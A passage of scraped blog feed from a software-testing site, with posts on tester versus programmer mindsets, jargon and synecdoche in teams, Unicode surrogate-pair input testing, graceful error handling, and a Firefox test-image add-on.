dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Our tester, had double checked the code could do the job. But also questioned the code in ways the team had not thought to look for. Given that there are tools and techniques to aid the measurement of randomness, this confirmatory step would likely be relatively short. A greater period of time would likely have been spent investigating [areas that at the time were ] unknowns. Therefore, The question is less can the tester read the code or validated that it performs how we predicted. The question is more can they see what the software might have been? How might it fall short? What could or should we have built? </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">Our tester had a different mindset, she stepped beyond what was specified. We can all do this, but we get better the more we do it. We get better if we train at it. Being a good systems programmer, and training at </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">that </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">- comes at the cost of training in the </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">tester </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">mindset. Furthermore, the two mindsets are poles, each at opposite end of our cognitive abilities. Striving at one skillset might not help with the other. A tester that writes code has great advantages. They can and do create test tools - to tease out the </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">actual </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">behaviour of the system. These programming skills have a </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">investigative </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">focus. They may even have a </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">exploratory </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">or </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">exploitative </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">(think security testing) focus, but not a </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">construction </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">focus.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">For those that are screaming </span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">BUT THEY COULD HAVE HAD A BDD SCENARIO FOR HIGH LOAD</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;"> or similar, I’ll remind you of the <a data-saferedirecturl="https://www.google.com/url?hl=en&amp;q=https://en.wikipedia.org/wiki/Hindsight_bias&amp;source=gmail&amp;ust=1478853383883000&amp;usg=AFQjCNG1jnAA8CMc8cqV61a_QSonEDb9TQ" href="https://en.wikipedia.org/wiki/Hindsight_bias" style="color: #1155cc;" target="_blank">Hindsight bias </a><b> </b></span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">( tl;dr: &nbsp;“</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;">the inclination, after an event has occurred, to see the event as having been predictable</span><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">”)</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">While the programmer and the tester often share the same headline skills, e.g. they can program<b> </b>in language X, understand and utilise patterns Y &amp; Z appropriately. They apply these skills differently, to different ends. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: arial; font-size: 14.6667px; vertical-align: baseline; white-space: pre-wrap;">The change from tester to programmer is more than a context switch. It's a change in your whole approach. People can do this, but it has a cost. That cost might be paid in slower delivery, bugs missed, or features not implemented. </span></div></span>http://www.investigatingsoftware.co.uk/2016/10/programmers-testers-two-roles-divided_4.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-1735572770337955445Tue, 02 Aug 2016 18:14:00 +00002016-08-02T11:29:18.498-07:00testingSynecdoche<div dir="ltr" id="docs-internal-guid-30b422d6-45c8-7667-cf23-921d6d1b2bcd" style="line-height: 1.38; margin-bottom: 4pt; margin-top: 18pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">A common but often unnoticed figure of speech is the synecdoche. When I say “Beijing opened its borders”. </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">We </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">know I mean “The</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;"> People's Republic of China</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;"> has opened its borders.”) That’s a Synecdoche, in this case I named part of something (Beijing) to mean the whole (P.R.C.).</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Conversely, I might say “Westminster is in turmoil” when anyone with knowledge of British politics will know I mean, “The politicians in the Houses of Parliament are in turmoil”. The reader will know I am </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">not </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">referring to The City of Westminster, a region of London. (Or the place in Canada etc.)</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Synecdoche can be a useful and illustrating tool of conversation. Helping to convey the size or importance of the subject or illustrate in more detail a subtlety of the situation. For example: “Beijing opened its Borders” also indicates the power of that country's central government. Some residents of one city in China, can open [or close] the borders of a vast country spanning thousands of miles and comprising over 1.3 billion people. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Synecdoche can also lead to ambiguity, and are particularly dependant on context. For example the same phrase “Westminster is in turmoil” accompanied by a picture of a de-railed train, smoke and ambulances would lead the reader to assume the geographic region of Westminster was being referred to.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Just this sort of language and potential for confusion exists within software development. For example, a Product Owner might ask a team to </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">code </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">a feature for her </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">App</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">. A technical lead would likely know her team will actually: analyse, converse, script, </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">code</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">, test, fix, report, document, review etc. And probably do this across multiple systems before she can agree with the Product Owner that the </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">App’s </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">feature is complete or </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">‘coded’</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Why don’t technical leads get annoyed by this narrow description of the work? Well, actually they do, all the time. When working as a Scrum Master and Program Manager I frequently had to smooth these sorts of negotiations. Often a technical lead or test lead would take the product owners choice of the word (e.g.:&nbsp;“code” or “develop”) to mean that the work required was not significant. When the Product Owner’s words could have been translated as “do clever stuff to make it happen”.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Product Owners were often <i>not</i> from a programming or testing background. Occasionally they would not use the same jargon as developers or, more often, they used the same terms but with their own meanings. For example, using ‘code’ to mean the whole software development and release process.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">While some friction would be caused in circumstances where someone might use the wrong or, to the team, </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">misleading</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;"> jargon, the team usually adapted. The team might use the jargon between themselves, but then adopt a less ‘technical’ (their words) language style when talking to others. That is, people outside the core team.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Testing also has situations where we frequently say one thing, and rely on context to mean so much more </span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">or less</span><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">. ‘Test automation’ for example. This simple term can covers a range of tools, techniques and even approaches.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">In my experience, ‘Test automation’ has for example referred to test data generators or shell scripts. These would check data-outputs were within a valid range, given data-inputs of historical purchases. I have also worked with successful teams where the term test automation meant random input generators combined with a simple run-until-crash check. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Furthermore, I have worked on systems where ‘Test Automation’ results could be red / green / pass / fail style messages reported from a GUI or API based test tool. In another team our results could only have &nbsp;been usefully discerned with the aid of graphing software. On some projects the skilled expertise of a statistician was required to decide whether our test code had uncovered an issue. On occasion, the term 'Test Automation' could mean several or all of the above.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">When talking with my team, I need to be more specific. I, like them, have to be able to describe what I’m doing and why. I could just say “I’m doing test automation” but that would be like a developer stating “I’m doing feature X”. &nbsp;Having a precise way to describe my work, and how it relates to the work of my team members is valuable and time saving. Not just in the time spent not re-explaining and clarifying concepts. But more importantly, not having to re-<i>do</i> things we thought were complete or correct the first time. </span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">Having the words to describe in detail our work is invaluable. The sorts of things we talk about within a team are jargon heavy E.g.: I need to explain to my team that I’m coding a check for the products UTF-16 surrogate pair handling,&nbsp;to&nbsp;be added to the&nbsp;Continuous Integration process, this might mean we don’t complete a feature this sprint. I may need to clarify that I’m writing a script to be used as an oracle -&nbsp;&nbsp;to aid our User Interface testing, or ask the programmers to include a testability hook to aid our log file analysis.</span></div><br /><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: &quot;arial&quot;; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline;">The language used to communicate these ideas is important. The language and terms themselves are worthy of at least some discussion. If we as a team are unfamiliar with the terms. Or their differing contextual meanings, we will likely end up very confidently and <i>quietly</i> not knowing what we are doing all day.</span></div><br /><b></b><i></i><u></u><sub></sub><sup></sup><strike></strike>http://www.investigatingsoftware.co.uk/2016/08/synecdoche.htmlnoreply@blogger.com (Pete Houghton)1tag:blogger.com,1999:blog-7222462746492540485.post-8593641936077869140Mon, 21 Dec 2015 11:32:00 +00002015-12-21T03:45:10.890-08:00breaking thingstestingtoolstricksunicodeYour software sucks (any data you give it)At 1524h, On the afternoon of January 15th 2009, US Airways Flight 1549 was cleared for takeoff from Runway 4 at New York's La Guardia airport. The airplane carried 150 passengers and 5 flight crew, on a flight to Charlotte Douglas, North Carolina. The Airbus A320's twin CFM56 engines had been serviced just over a month prior to the flight. The plane climbed to a height of 859m (2818 feet) before disaster struck.<br /><br />Passengers reported hearing several loud bangs and then flames being visible from the engines' exhaust. Shortly thereafter the 2 engines shut-down, robbing the Airbus of thrust and its primary source of electrical power. <br /><br />At this point the Captain took over from the First officer and between them they spent the next 3 minutes both looking for somewhere to land, while also desperately trying to restart their aircraft's engines.<br /><br /><h4>What Happened?</h4>A flock of birds had crossed the path of the Airbus and several had struck the plane. Both engines had ingested birds and shut-down as a result. A shut-down is the FAA required minimum standard behaviour for a Jet engine.<br /><br /><table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; text-align: left;"><tbody><tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-8wfhW8W9mTo/VnG0FfHMdaI/AAAAAAAAAoQ/QKmjGclrEp8/s1600/engine_after_birdstrike.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://1.bp.blogspot.com/-8wfhW8W9mTo/VnG0FfHMdaI/AAAAAAAAAoQ/QKmjGclrEp8/s1600/engine_after_birdstrike.jpg" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="color: #0000ee;"><u>An Emirates engine after a bird str<span style="color: #0000ee;"><u>ike.</u></span></u></span></td></tr></tbody></table>The safe automatic shut-down of a jet engine is a scenario tested for by engine manufacturers before they can be certified for use.<br /><br />Worse things <i>might</i> happen, e.g. the broken unbalanced blades might continue blowing air into the fuel rich combustion chamber while red-hot engine fragments are jettisoned outwards into other parts of the fuel-laden plane.<br /><br />Viewed in that light: a graceful shut-down is not a bad minimum safety requirement.<br /><br />If we think about it, jet engines need a good deal of testing, after-all they <br /><ul><li>Are mission critical. </li><li>Work faster than humans can think and react.</li><li>Are expensive and time consuming to build.</li><li>Have to be integrated with other complex systems</li><li>Have to accept un-validated inputs (like birds)</li></ul>Does any of that sound familiar? That last one in particular is relevant to the field of software development and testing.<br /><br /><h4>Un-validated input? How do they test that?</h4><br />One of the tests that can be performed on a Jet Engine is to fire frozen poultry into the engine. The engine ingests a turkey at high speed, in an attempt to simulate a bird being sucked into the engine during flight.<br /><br />Like many technical systems that deal directly with the outside world, software can have serious problems when exposed to unusual inputs. Like the Jet, the point of ingest literally can not be protected - something has to 'process' what’s coming in. <br /><br />As software testers working with applications that need to handle these situations, we need to learn how to perform our own frozen-turkey-tests and examine how our complex systems handle them. <br /><ul><li>Do they crash? </li><li>If they crash, is that OK?&nbsp;</li><li>What have I learned? </li><li>What were the side effects? </li><li>Can I restart it? or is it now 'corrupted' ?</li><li>What is the likelihood of failure?</li></ul>The sort of websites we use every day have to accept largely un-validated inputs, they are on the internet and anything our computer can send - they have to deal with. <br /><br /><i>But surely its just text, right? </i><br />If its not 'normal' block it!<br /><br />That isn’t going to work for long... For example Google has to handle anything you want to find on any website. Even if you accidentally include some right-to-left <a href="https://www.google.com/?gws_rd=cr#q=Backwards%3F++%E2%80%AE+">data in your search</a>:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-TPE8AgxQjlc/VnfmMVYgnWI/AAAAAAAAAo0/IxjV-wFgekc/s1600/google_backwards_win.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="http://4.bp.blogspot.com/-TPE8AgxQjlc/VnfmMVYgnWI/AAAAAAAAAo0/IxjV-wFgekc/s400/google_backwards_win.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-mXugkimM8U4/VnGTVsMgdiI/AAAAAAAAAnc/FLhgBhUqt7k/s1600/google_backwards.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div><br /><br />...Or you want to find out how to do that cool Emoticon on your new Microsoft Surface notebook keyboard... <i>Microsoft.com</i> then needs to handle <a href="https://www.microsoft.com/en-gb/newsearch/result.aspx?q=How%20to%20type%20%F0%9F%98%80">that query</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-iG0-zXW-OrY/VnGZgqotkQI/AAAAAAAAAn8/Yb9MpMMtw1w/s1600/microsoft_type_query_fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-iG0-zXW-OrY/VnGZgqotkQI/AAAAAAAAAn8/Yb9MpMMtw1w/s400/microsoft_type_query_fail.png" width="347" /></a></div><br /><div style="text-align: center;"><a href="http://1.bp.blogspot.com/-ec4FzZtZW5o/VnGSksDsmRI/AAAAAAAAAnU/uKW5qEoe7ms/s1600/microsoft_type_query_fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a> </div>...Or you don't want to <a href="http://www.bbc.co.uk/news/technology-31148424">pay extra on your phone bill just because you used a smiley</a> face in your text message.<br /><br />These are real world examples of things people use their software for, every day. Hence they are the sort of things <i>we</i> need to test for, lest our users end up going elsewhere or find they are being over charged. <br /><br />Tools such as <a href="https://addons.mozilla.org/firefox/addon/no-more-ascii-text-inserter/">No More ASCII</a> can help us test websites, by giving us direct access to a range of Unicode 'code-points' that may cause problems for our software. <br /><br />The problems can be subtle, more than just something 'not looking right'. The complex nature in which languages are represented in your application can mean that simple things such as measuring the length of a string can fail. (<a href="http://string.online-toolz.com/">string.online-toolz.com</a>)<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-4eXDe4k1Gno/VnGTdezVwVI/AAAAAAAAAno/S0-lj4b9Q7c/s1600/char_count_fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://4.bp.blogspot.com/-4eXDe4k1Gno/VnGTdezVwVI/AAAAAAAAAno/S0-lj4b9Q7c/s640/char_count_fail.png" width="464" /></a></div><br /><br />Sorting can also fail. If your text is reversed for example if may not render correctly afterwords:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-Z18p43tS0xw/VnGTvvWZqBI/AAAAAAAAAns/tumo73-DzH8/s1600/reversed_string_fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://2.bp.blogspot.com/-Z18p43tS0xw/VnGTvvWZqBI/AAAAAAAAAns/tumo73-DzH8/s640/reversed_string_fail.png" width="401" /></a></div><br />These 2 issues are caused by the website not being able to properly process Unicode text, in particular the UTF-16 flavour of Unicode. Some characters (or Graphemes as they are called in Unicode) are in fact made-up of 2 parts or 'code-points'. So whilst many characters tend to be 1 code-point, some are pairs.&nbsp; These pairs are referred to as 'surrogate pairs'.<br /><br />Why does the reverse-string function fail? It appears to be putting the emoticons 2 code-points in reverse order, when it shouldn't. They should be treated together as one character when a reverse or sort is performed. (When the individual code-points in a surrogate pair are swapped, they become meaningless).<br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-yPidGpiYbYo/VnKiTfp2xRI/AAAAAAAAAog/JSVbrw1a8c4/s1600/Surrogate_pair_reverse_trimmed.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="279" src="http://4.bp.blogspot.com/-yPidGpiYbYo/VnKiTfp2xRI/AAAAAAAAAog/JSVbrw1a8c4/s320/Surrogate_pair_reverse_trimmed.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">How to reverse a UTF-16 text string with a Surrogate Pair in it.</td><td class="tr-caption" style="text-align: center;"><br /></td></tr></tbody></table><br />These 'surrogate pairs' cover things like <a href="http://www.unicode.org/charts/PDF/U1F600.pdf">Emoticons</a> or <a href="http://unicode.org/charts/PDF/U1D100.pdf">Musical notation</a> etc. While not used widely on computers in North America in the 1960s, therefore&nbsp; not in <a href="https://en.wikipedia.org/wiki/ASCII">ASCII</a>, they are now widely used all around the globe. <br /><br />Un-validated text input is great example of where tools-assisted-testing can discover a wealth of knowledge about our applications. Given the wide domain of possible inputs and unknown-complexity of the app, this is an inherently exploratory process. Have the right tools on-hand helps you gain that knowledge quicker.<br /><br />You can read more about how to explore <a href="http://www.investigatingsoftware.co.uk/2012/10/simple-test-automation-with-no-moving.html">how your browser/app handles Unicode</a>.<br /><br />http://www.investigatingsoftware.co.uk/2015/12/your-software-sucks-any-data-you-give-it.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-6304869813266775060Thu, 10 Dec 2015 14:31:00 +00002015-12-16T04:00:40.972-08:00exploratory testinginvestigationvideoEven the errors are broken!An amused but slightly exasperated developer once turned to me and said "I not only have to get all the features correct, I have to get the errors correct too!". He was referring to the need to implement graceful and <i>useful</i> failure behaviour for his application.<br /><br />Rather than present the customer or user with an error message or stack trace - give them a route to succeed in their goal. E.g. Find the product they seek or even buy it.<br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-ih4yPxU9YZ0/Vmqe5cREG8I/AAAAAAAAAnE/-YV9YvD7qD4/s1600/mini_screen_grab.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://1.bp.blogspot.com/-ih4yPxU9YZ0/Vmqe5cREG8I/AAAAAAAAAnE/-YV9YvD7qD4/s1600/mini_screen_grab.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Bing Suggestions demonstrates ungraceful failure.</td></tr></tbody></table><br />Graceful failure can take several forms, take a look at this Bing [search] Suggestions bug in Internet Explorer 11.<br /><br /><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/GZi6vm_xTGY/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/GZi6vm_xTGY?feature=player_embedded" width="320"></iframe></div>As you can see, the user is presented with a useful feature, <i>most</i> of the time. But should they paste a long URL into the location bar - They get hit with an error message.<br /><br />There are multiple issues here. What else is allowing this to happen to the user? The user is presented with an error message - Why? What could the user possibly do with it? Bing Suggestions does <i>not</i> fail gracefully.<br /><blockquote class="tr_bq"><span style="font-size: large;"><i>I not only have to get all the features correct, I have to get the errors correct too!&nbsp; -</i>Developer</span></blockquote>In this context, presenting the user with an error message is a bug, probably worse than the fact the suggestions themselves don't work. If they silently failed - the number users who were consciously affected would probably be greatly reduced.<br /><br />By causing the software to fail, we often <i>appear</i> to be destructive, but <a href="http://www.investigatingsoftware.co.uk/2015/12/the-boeing-787-and-its-broken-software.html">again</a> we are learning more about the application, through its failure. Handling failures gracefully is another feature of the software that is important to real users - in the real world. The user wants to use your product to achieve <i>their</i> goal. They don't want to see every warning light that displays in the pilot's cockpit. Just tell them if they need to put their seat-belt on.http://www.investigatingsoftware.co.uk/2015/12/even-errors-are-broken.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-4684753456064288338Mon, 07 Dec 2015 15:13:00 +00002015-12-07T07:14:21.326-08:00toolsCounting Images, a FireFox Add-onMany of my clients ask me to test their content management and processing systems. Often this involves investigating how the software handles images of various sizes as well as <a href="http://www.investigatingsoftware.co.uk/2015/11/counting-strings-firefox-addon.html">text of various lengths</a> or <a href="http://www.investigatingsoftware.co.uk/2015/11/no-more-ascii-firefox-add-on.html">types</a>.<br /><br />To help create test-images, I created this little <a href="https://addons.mozilla.org/addon/counting-images-addon/">FireFox Add-on</a>. The <a href="https://addons.mozilla.org/firefox/addon/counting-images-addon/">Counting Images add-on</a> starts with one click and can be used to create an image of a custom size.<br /><br />For example: if you need a 300x250 <a href="https://en.wikipedia.org/wiki/Web_banner#Standard_sizes">MPU</a> advert image - just enter 300 and 250 into the panel and click <i>Create Image</i>. To download the image, just click on it - as you would a a link and choose Save.<br /><br /><span style="font-family: inherit;">The image files are named <span style="font-family: &quot;courier new&quot; , &quot;courier&quot; , monospace;"><span style="color: #999999;"><i>width</i></span>x<span style="color: #999999;"><i>height</i></span>.png</span>, and include markings to help identify if they have been truncated e.g.:</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-QcrNwg8Qh7o/VmWeMZDKLbI/AAAAAAAAAmg/trXIA2_MLXs/s1600/150x100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-QcrNwg8Qh7o/VmWeMZDKLbI/AAAAAAAAAmg/trXIA2_MLXs/s1600/150x100.png" /></a></div><br /><br /><div class="separator" style="clear: both; text-align: center;"></div>The marked numbers refer to the size in pixels of the rectangle they are in. E.g.: the blue rectangle (always the outermost one) is 150x100 pixels in size. <br /><br />Another example:<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-46FWqmWCrN4/VmWdK3IwJUI/AAAAAAAAAmY/h82u6S_PkZI/s1600/267x75.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-46FWqmWCrN4/VmWdK3IwJUI/AAAAAAAAAmY/h82u6S_PkZI/s1600/267x75.png" /></a></div>As you can see the rectangles start at the defined size and count down in steps of 20 pixels. <br /><br /><i>What could go wrong?</i> Well a good example is very thing and tall images. The image edge might actually truncate the text specifiying its height 